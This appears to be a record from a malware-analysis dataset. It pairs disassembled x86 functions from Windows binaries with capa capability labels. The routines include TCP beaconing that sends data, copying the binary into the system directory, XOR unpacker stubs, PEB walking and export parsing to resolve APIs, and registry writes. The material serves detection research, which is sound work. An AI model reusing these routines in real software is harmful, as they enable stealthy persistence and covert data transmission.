joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407418
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa88
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x578], ebx
mov dword [ebp - 0x568], ebx
mov dword [ebp - 0x56c], ebx
mov dword [ebp - 0x570], ebx
mov dword [ebp - 0x574], ebx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00402ac0
lea edi, [ebp - 8]
xor eax, eax
push ebp
push 0x407633
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xde
call fcn.004019fc
inc eax
lea edx, [ebp - 0x568]
call fcn.00405c0c
push dword [ebp - 0x568]
push 0x40764c
mov eax, 0xff
call fcn.004019fc
inc eax
lea edx, [ebp - 0x56c]
call fcn.00405c0c
push dword [ebp - 0x56c]
push 0x40764c
mov eax, 0xff
call fcn.004019fc
inc eax
lea edx, [ebp - 0x570]
call fcn.00405c0c
push dword [ebp - 0x570]
push 0x40764c
mov eax, 0xff
call fcn.004019fc
inc eax
lea edx, [ebp - 0x574]
call fcn.00405c0c
push dword [ebp - 0x574]
lea eax, [esi + 0xc]
mov edx, 7
call fcn.00402998
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
mov word [ebp - 0x164], 2
mov eax, dword [esi + 0xc]
call fcn.00402ad0
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x160], eax
push 0xc37
call sub.wsock32.dll_htons
mov word [ebp - 0x162], ax
test ebx, ebx
jle 0x40760d
push 0x10
lea eax, [ebp - 0x164]
push eax
push ebx
call sub.wsock32.dll_connect
test eax, eax
jne 0x40760d
push 0
push 5
push 0x40b2e8
push ebx
call sub.wsock32.dll_send
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x154]
call fcn.004017a0
mov eax, dword [0x40b308]
mov byte [eax], 0
mov edx, 1
lea eax, [ebp - 0x154]
call fcn.00401b20
call fcn.0040129c
push edi
lea edx, [ebp - 0x564]
mov ecx, 0x400
lea eax, [ebp - 0x154]
call fcn.004018f8
call fcn.0040129c
cmp dword [edi], 0
jle 0x4075c1
push 0
mov eax, dword [edi]
push eax
lea eax, [ebp - 0x564]
push eax
push ebx
call sub.wsock32.dll_send
test eax, eax
jle 0x4075c1
cmp dword [edi], 0x400
je 0x407582
push ebx
call sub.wsock32.dll_closesocket
lea eax, [ebp - 0x154]
call fcn.00401938
call fcn.0040129c
inc dword [0x40c800]
push 0x407658
push dword [esi + 0xc]
push 0x407684
lea eax, [ebp - 0x578]
mov edx, 3
call fcn.00402998
mov eax, dword [ebp - 0x578]
mov edx, dword [0x40b2fc]
mov edx, dword [edx]
call fcn.00403c7c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40763a
lea eax, [ebp - 0x578]
mov edx, 5
call fcn.00402680
lea eax, [ebp - 4]
call fcn.0040265c
ret
Function at 0x407688
Capabilities:
Check internet connectivity via wininet
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe6c
push ebx
xor edx, edx
mov dword [ebp - 0x194], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x407716
push dword fs:[eax]
mov dword fs:[eax], esp
jmp 0x4076b6
push 0x3e8
call sub.kernel32.dll_Sleep
push 0
push 0
call sub.wininet.dll_InternetGetConnectedState
test eax, eax
je 0x4076ac
lea eax, [ebp - 0x190]
push eax
mov dl, 1
mov al, 1
call fcn.00403914
push eax
call sub.wsock32.dll_WSAStartup
lea edx, [ebp - 0x194]
xor eax, eax
call fcn.00401444
mov edx, dword [ebp - 0x194]
mov ecx, dword [ebx + 0xc]
mov eax, ebx
call fcn.00407418
call sub.wsock32.dll_WSACleanup
jmp 0x4076b6

Function at 0x4079d8
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebx
push ecx
mov ebx, eax
mov dword [esp], 2
push 0
lea eax, [esp + 4]
push eax
call sub.wininet.dll_InternetGetConnectedState
test eax, eax
je 0x407a0a
mov eax, dword [esp]
and eax, 2
cmp eax, 2
jne 0x407a0a
mov eax, ebx
mov edx, 0x407a44
call fcn.004026b0
mov dword [esp], 1
push 0
lea eax, [esp + 4]
push eax
call sub.wininet.dll_InternetGetConnectedState
test eax, eax
je 0x407a38
mov eax, dword [esp]
and eax, 1
cmp eax, 1
jne 0x407a38
mov eax, ebx
mov edx, 0x407a50
call fcn.004026b0
pop edx
pop ebx
ret

Function at 0x407a58
Capabilities:
Check os version

Disassembly:
push ebx
add esp, 0xffffff6c
mov ebx, eax
mov eax, ebx
mov edx, 0x407b88
call fcn.004026b0
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
test eax, eax
je 0x407b6a
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
mov ecx, dword [esp + 0x10]
dec ecx
je 0x407af2
dec ecx
jne 0x407b5c
cmp eax, 4
jg 0x407aae
mov eax, ebx
mov edx, 0x407b98
call fcn.004026b0
jmp 0x407b76
cmp eax, 5
jne 0x407ac8
test edx, edx
jne 0x407ac8
mov eax, ebx
mov edx, 0x407ba8
call fcn.004026b0
jmp 0x407b76
cmp eax, 5
jne 0x407ae1
dec edx
jne 0x407ae1
mov eax, ebx
mov edx, 0x407bb8
call fcn.004026b0
jmp 0x407b76
mov eax, ebx
mov edx, 0x407b88
call fcn.004026b0
jmp 0x407b76
cmp eax, 4
jne 0x407b09
test edx, edx
jne 0x407b09
mov eax, ebx
mov edx, 0x407bc8
call fcn.004026b0
jmp 0x407b76
cmp eax, 4
jne 0x407b36
cmp edx, 0xa
jne 0x407b36
cmp byte [esp + 0x15], 0x41
jne 0x407b28
mov eax, ebx
mov edx, 0x407bd8
call fcn.004026b0
jmp 0x407b76
mov eax, ebx
mov edx, 0x407be8
call fcn.004026b0
jmp 0x407b76
cmp eax, 4
jne 0x407b4e
cmp edx, 0x5a
jne 0x407b4e
mov eax, ebx
mov edx, 0x407bf8
call fcn.004026b0
jmp 0x407b76
mov eax, ebx
mov edx, 0x407b88
call fcn.004026b0
jmp 0x407b76
mov eax, ebx
mov edx, 0x407b88
call fcn.004026b0
jmp 0x407b76
mov eax, ebx
mov edx, 0x407b88
call fcn.004026b0
add esp, 0x94
pop ebx
ret
Function at 0x407c00
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe64
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x198], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402ac0
xor eax, eax
push ebp
push 0x407d47
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.0040265c
lea eax, [ebp - 0x194]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x407d12
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
call fcn.00402ad0
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x407d08
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x407cfe
cmp dword [ebp - 4], 0
jne 0x407cea
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x198]
call fcn.00402848
mov edx, dword [ebp - 0x198]
mov eax, 0x407d60
call fcn.00402c10
dec eax
je 0x407cfd
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x19c]
call fcn.00402848
mov edx, dword [ebp - 0x19c]
mov eax, 0x407d6c
call fcn.00402c10
dec eax
je 0x407cfd
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, edi
call fcn.00402848
jmp 0x407d08
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, edi
call fcn.00402848
inc ebx
cmp dword [esi + ebx*4], 0
jne 0x407c7b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x407d1c
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407d4e
lea eax, [ebp - 0x19c]
mov edx, 2
call fcn.00402680
lea eax, [ebp - 4]
call fcn.0040265c
ret
Function at 0x408390
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402ac0
mov eax, dword [ebp - 8]
call fcn.00402ac0
xor eax, eax
push ebp
push 0x40848b
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4083d9
or ebx, 0xffffffff
jmp 0x408470
lea eax, [ebp - 0x1c]
xor ecx, ecx
mov edx, 0x10
call fcn.004019dc
mov word [ebp - 0x1c], 2
mov eax, dword [ebp - 8]
call fcn.004078f8
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0x1a], ax
mov eax, dword [ebp - 4]
call fcn.00402ad0
push eax
call sub.wsock32.dll_inet_addr
mov edi, eax
mov dword [ebp - 0xc], edi
inc edi
jne 0x408426
mov eax, dword [ebp - 4]
call fcn.00402ad0
push eax
call sub.wsock32.dll_gethostbyname
mov esi, eax
test esi, esi
jne 0x408437
cmp dword [ebp - 0xc], 0xffffffff
jne 0x408437
mov ebx, 0xfffffffe
jmp 0x408470
test esi, esi
je 0x408447
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
jmp 0x408458
mov eax, dword [ebp - 4]
call fcn.00402ad0
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x18], eax
push 0x10
lea eax, [ebp - 0x1c]
push eax
push ebx
call sub.wsock32.dll_connect
inc eax
jne 0x408470
push ebx
call sub.wsock32.dll_closesocket
or ebx, 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408492
lea eax, [ebp - 8]
mov edx, 2
call fcn.00402680
ret
Function at 0x40a0b4
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0
xor eax, eax
push ebp
push 0x40a155
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40c818
push 0x101
call sub.wsock32.dll_WSAStartup
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov edx, dword [0x40b2fc]
mov dword [edx], eax
mov word [0x40c808], 2
push 0x1a0b
call sub.wsock32.dll_htons
mov word [0x40c80a], ax
lea edx, [ebp - 4]
mov eax, 0x40a168
call fcn.00407c00
mov eax, dword [ebp - 4]
call fcn.00402ad0
push eax
call sub.wsock32.dll_inet_addr
mov dword [0x40c80c], eax
push 0x10
push 0x40c808
mov eax, dword [0x40b2fc]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_connect
test eax, eax
jne 0x40a13f
call fcn.00408964
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a15c
lea eax, [ebp - 4]
call fcn.0040265c
ret

Function at 0x40a270
Capabilities:
Copy file
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov eax, 0x40a200
call fcn.00403730
xor eax, eax
push ebp
push 0x40a3f7
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40a404
push 0
push 0
call fcn.0040380c
call sub.kernel32.dll_GetLastError_1
cmp eax, 0xb7
jne 0x40a2bd
push 0
call sub.kernel32.dll_ExitProcess_1
mov edx, 0x40a414
mov eax, 0x40cab8
call fcn.004017a0
mov eax, 0x40cab8
call fcn.0040153c
call fcn.0040129c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00401444
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 0x40a430
call fcn.00402924
mov edx, dword [ebp - 0x14]
mov eax, 0x40cab8
call fcn.00402cbc
call fcn.00401d94
call fcn.0040129c
mov edx, 0x40a440
mov eax, 0x40cab8
call fcn.00402cbc
call fcn.00401d94
call fcn.0040129c
mov eax, 0x40cab8
call fcn.00401938
call fcn.0040129c
push 0xff
push 0x40c9b8
call sub.kernel32.dll_GetSystemDirectoryA
push 0
lea eax, [ebp - 0x1c]
mov edx, 0x40c9b8
mov ecx, pe_nt_image_headers32
call fcn.004028c0
lea eax, [ebp - 0x1c]
mov edx, 0x40a460
call fcn.004028e0
mov eax, dword [ebp - 0x1c]
call fcn.00402ad0
push eax
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.00401444
mov eax, dword [ebp - 0x20]
call fcn.00402ad0
push eax
call sub.kernel32.dll_CopyFileA
push 0x40a478
push 0x40a484
push 0x40a4a8
push 0x40a4b0
call sub.kernel32.dll_WritePrivateProfileStringA
mov eax, dword [0x40b304]
xor edx, edx
mov dword [eax], edx
mov eax, dword [0x40b2f4]
xor edx, edx
mov dword [eax], edx
mov eax, dword [0x40b30c]
xor edx, edx
mov dword [eax], edx
call fcn.004063e4
push 0x40c9b4
push 0
push 0
push 0x40a17c
push 0
push 0
call sub.kernel32.dll_CreateThread_1
call fcn.0040a0b4
jmp 0x40a3d5
Function at 0x4022e0
Capabilities:
Terminate process

Disassembly:
mov edx, eax
push dword [0x40374f]
call dword [sym.imp.pdh.dll_PdhCloseQuery]
mov eax, 5
add eax, 5
inc eax
xor edi, edi
xor esi, esi
test eax, 0xb
jne 0x40230e
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
mov edx, eax
mov dword [0x401775], eax
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43200c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x40a224
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov edi, dword [ebp + 8]
mov edi, dword [edi]
push edi
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
pop edi
mov esi, ecx
not esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0xc]
lea eax, [eax + 0x10]
push dword [eax]
xor eax, eax
push edx
mov ecx, dword [edx + 0x30]
movzx ebx, byte [eax + edi]
movzx edx, byte [ecx + eax*2]
sub ebx, edx
cmp ebx, 0
je 0x40a26b
cmp ebx, 0x20
je 0x40a26b
cmp ebx, 0xffffffe0
je 0x40a26b
jne 0x40a274
add eax, 1
cmp esi, eax
je 0x40a281
jne 0x40a250
pop edx
mov edx, dword [edx]
xor eax, eax
pop ebx
cmp ebx, edx
push ebx
je 0x40a285
jne 0x40a24c
pop edx
mov eax, dword [edx + 0x18]
leave
ret 4

Function at 0x40a299
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov ebx, dword [ebp + 8]
cmp ebx, 0
je 0x40a2de
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov edx, dword [eax + 0x78]
add edx, ebx
mov ecx, dword [edx + 0x18]
mov eax, dword [edx + 0x20]
push ecx
push ecx
push eax
xor eax, eax
or ecx, 0xffffffff
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
repne scasb al, byte es:[edi]
not ecx
pop eax
push ecx
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
mov esi, dword [eax + ebx]
add esi, ebx
repe cmpsb byte [esi], byte es:[edi]
pop ecx
je 0x40a2e4
add eax, 4
pop esi
dec esi
push esi
jne 0x40a2c6
xor eax, eax
leave
ret 8
pop esi
pop ecx
sub ecx, esi
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + ebx]
mov ecx, dword [edx + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + ebx]
add eax, ebx
leave
ret 8

Function at 0x42837f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
push esi
mov esi, dword [eax]
test esi, esi
jne 0x4283a4
xor eax, eax
jmp 0x4283a9
mov eax, dword [esi + 4]
add eax, eax
mov dword [ebp - 8], eax
push 0x80000301
push 0
push dword [ebp - 8]
push 1
mov ebx, 0x460740
call fcn.0045eddc
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4283df
push ebx
call fcn.0045edd6
add esp, 4
pop eax
mov dword [ebp - 4], eax
test esi, esi
je 0x4283ec
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x428441
lea edx, [esi + 8]
mov dword [ebp - 0x14], 0x33323130
mov dword [ebp - 0x10], 0x37363534
mov dword [ebp - 0xc], 0x42413938
mov dword [ebp - 8], 0x46454443
test edx, edx
je 0x428441
test eax, eax
je 0x428441
lea esi, [edx + ecx]
cmp edx, esi
jae 0x428441
nop
movzx ecx, byte [edx]
shr ecx, 4
inc edx
movzx ecx, byte [ebp + ecx - 0x14]
mov byte [eax], cl
movzx ecx, byte [edx - 1]
and ecx, 0xf
lea eax, [eax + 2]
movzx ecx, byte [ebp + ecx - 0x14]
mov byte [eax - 1], cl
cmp edx, esi
jb 0x42841d
pop esi
mov eax, dword [ebp - 4]
leave
ret 4
Function at 0x460100
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5029c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov eax, dword [esp + 0x30]
push ebp
push esi
push edi
mov ecx, dword [eax]
push ecx
lea ecx, [esp + 0x10]
call fcn.004f6906
mov esi, dword [esp + 0xc]
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0
xor ebp, ebp
call fcn.00465910
mov ecx, dword [esp + 0x40]
mov byte [esp + 0x2c], 1
cmp ecx, 3
ja case.default.0x460154
jmp dword [ecx*4 + 0x4602bc]
mov al, byte [esi]
test al, al
je 0x460182
cmp al, 0x20
je 0x46016e
cmp al, 0xa1
jne 0x460182
cmp byte [esi + 1], al
jne 0x460182
test al, 0x80
je 0x46017a
mov al, byte [esi + 1]
inc esi
test al, al
je 0x460182
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x460161
test ecx, ecx
je case.default.0x460154
mov dl, byte [esi]
xor ecx, ecx
test dl, dl
mov eax, esi
je case.default.0x460154
mov edi, dword [esp + 0x3c]
mov dl, byte [eax]
test dl, 0x80
je 0x4601c8
cmp dl, 0xa1
jne 0x4601bc
cmp byte [eax + 1], 0xa1
jne 0x4601bc
test ecx, ecx
jne 0x4601b4
mov edi, eax
mov ecx, 1
inc eax
jmp 0x4601dc
mov dl, byte [eax + 1]
inc eax
xor ecx, ecx
test dl, dl
je 0x4601f6
jmp 0x4601dc
cmp dl, 0x20
jne 0x4601da
test ecx, ecx
jne 0x4601d3
mov edi, eax
mov ecx, 1
jmp 0x4601dc
xor ecx, ecx
mov dl, byte [eax + 1]
inc eax
test dl, dl
jne 0x46019c
cmp ecx, 1
jne case.default.0x460154
mov dl, byte [edi]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x460154
mov dl, byte [eax - 1]
lea edi, [eax - 1]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x460154
mov al, byte [esi]
test al, al
je 0x46024e
test al, 0x80
mov byte [esp + 0x3c], al
je 0x460234
mov cl, byte [esi + 1]
test cl, cl
je 0x46024e
cmp al, 0xa1
jne 0x460224
cmp cl, al
je 0x460231
mov ax, word [esi]
lea ecx, [esp + 0x10]
push eax
call fcn.00465be0
inc esi
jmp 0x460246
cmp al, 0x20
je 0x460246
mov ecx, dword [esp + 0x3c]
push ecx
lea ecx, [esp + 0x14]
call fcn.00465c20
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x46020d
push 0
lea ecx, [esp + 0x14]
call fcn.00465c20
mov esi, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.0046f200
mov edx, dword [esp + 0x38]
add esp, 4
test ebp, ebp
mov dword [edx], eax
je 0x460281
mov al, byte [esp + 0x3c]
mov byte [ebp], al
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 0
mov dword [esp + 0x10], 0x61c578
call fcn.00465b10
lea ecx, [esp + 0xc]
mov dword [esp + 0x2c], 0xffffffff
call fcn.004f6898
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x4619e0
Capabilities:
Get disk size

Disassembly:
sub esp, 0x1c
push esi
push edi
mov edi, 0x7cc118
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x34]
push ecx
call fcn.004619a0
add esp, 8
mov byte [esp + 8], al
or esi, 0xffffffff
push str.GetDiskFreeSpaceExA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x461a8a
lea edx, [esp + 0xc]
lea ecx, [esp + 0x1c]
push edx
push ecx
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x10]
push edx
push ecx
call eax
test eax, eax
je 0x461aeb
mov eax, dword [esp + 0x34]
test eax, eax
jne 0x461a6c
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
jmp 0x461a74
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov ecx, 0xa
call fcn.004ddca0
mov edx, dword [esp + 0x28]
pop edi
pop esi
mov dword [edx], eax
add esp, 0x1c
ret
lea eax, [esp + 0x30]
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x20]
push ecx
lea eax, [esp + 0x1c]
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
test eax, eax
je 0x461adf
mov eax, dword [esp + 0x34]
test eax, eax
mov eax, dword [esp + 0x30]
je 0x461abd
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 0x14]
push 0x400
imul edx, dword [esp + 0x20]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov ecx, dword [esp + 0x28]
pop edi
pop esi
mov dword [ecx], eax
add esp, 0x1c
ret
mov edx, dword [esp + 0x28]
pop edi
mov dword [edx], esi
pop esi
add esp, 0x1c
ret
mov eax, dword [esp + 0x28]
pop edi
mov dword [eax], esi
pop esi
add esp, 0x1c
ret
Function at 0x462bf0
Capabilities:
Access peb ldr_data
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x502b18
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, dword [0x7e4658]
push ebx
push esi
push edi
mov dword [esp + 0xc], eax
mov esi, dword [esp + 0x30]
mov edi, dword [esp + 0x2c]
lea ecx, [esp + 0x2c]
push esi
lea edx, [esp + 0x10]
push ecx
lea eax, [esp + 0x18]
push edx
push eax
push edi
mov dword [esp + 0x30], 0
call fcn.004626c0
add esp, 0x14
dec esi
neg esi
sbb esi, esi
mov eax, dword [esp + 0xc]
mov ebx, dword [esp + 0x24]
add esi, 3
lea edx, [esp + 0x30]
lea ecx, [esi + esi*2]
push edx
push 0x20006
push 0
lea esi, [edi + ecx*4]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov dword [ebx], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x462c92
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x30]
push edx
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x462d4b
mov edx, dword [esi + 8]
push edx
call fcn.0046df80
add esp, 4
test eax, eax
mov eax, dword [esi + 8]
je 0x462ce2
cmp eax, 0x80000301
jne 0x462cb0
mov eax, dword [esi]
jmp 0x462cbd
push 0
push esi
push 0x7d1
call fcn.00473650
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x24]
push 4
push ecx
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x38]
push 4
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x462d40
jmp 0x462d3a
cmp eax, 0x80000004
jne 0x462d11
mov esi, dword [esi]
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esp + 0x30]
not ecx
push ecx
mov ecx, dword [esp + 0x30]
push esi
push 1
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x462d40
jmp 0x462d3a
cmp eax, reloc.WS2_32.dll_getpeername
jne 0x462d40
mov esi, dword [esi]
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x30]
mov eax, dword [esi + 4]
add esi, 8
push eax
push esi
push 3
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x462d40
mov dword [ebx], 1
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], 0xffffffff
call fcn.004f6898
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret